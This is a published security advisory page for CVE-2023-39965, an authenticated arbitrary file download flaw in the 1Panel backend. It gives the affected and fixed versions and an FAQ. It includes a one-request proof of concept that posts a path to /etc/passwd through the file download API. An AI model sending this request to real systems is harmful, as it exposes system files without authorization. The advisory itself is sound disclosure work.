CWE
863
Advisory Published
Advisory Published
Updated

CVE-2023-39965: 1Panel Unauthorized access in Backend

First published: Thu Aug 10 2023(Updated: )

### Summary Any file downloading vulnerability exists in 1Panel backend. ### Details Authenticated attackers can download arbitrary files through the API interface. This code has unauthorized access. ![image](https://user-images.githubusercontent.com/116613486/257246024-d0e35800-5fd8-4907-8b1b-504afaad859e.png) ### PoC payload: POST /api/v1/files/download/bypath HTTP/1.1 Host: ip Content-Type: application/json {"path":"/etc/passwd"} ![f77959349e96543436eea18283fa75c](https://user-images.githubusercontent.com/116613486/257245459-13f2f31b-fcfe-4a27-ba52-e2f1e5d4d749.png) ### Impact Attackers can freely download the file content on the target system. This will be caused a large amount of information leakage.

Credit: security-advisories@github.com security-advisories@github.com security-advisories@github.com

Affected SoftwareAffected VersionHow to fix
Fit2cloud 1panel=1.4.3
go/github.com/1Panel-dev/1Panel=1.4.3
1.5.0

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Frequently Asked Questions

  • What is CVE-2023-39965?

    CVE-2023-39965 is a vulnerability in 1Panel backend that allows authenticated attackers to download arbitrary files through the API interface.

  • What is the severity of CVE-2023-39965?

    CVE-2023-39965 has a severity rating of 6.5, which is considered medium.

  • How can this vulnerability be exploited?

    Authenticated attackers can exploit CVE-2023-39965 by utilizing unauthorized access to download arbitrary files through the API interface of 1Panel.

  • What software versions are affected by CVE-2023-39965?

    The affected software version of 1Panel is 1.4.3.

  • How do I fix CVE-2023-39965?

    To fix CVE-2023-39965, you need to update 1Panel to version 1.5.0 or higher.

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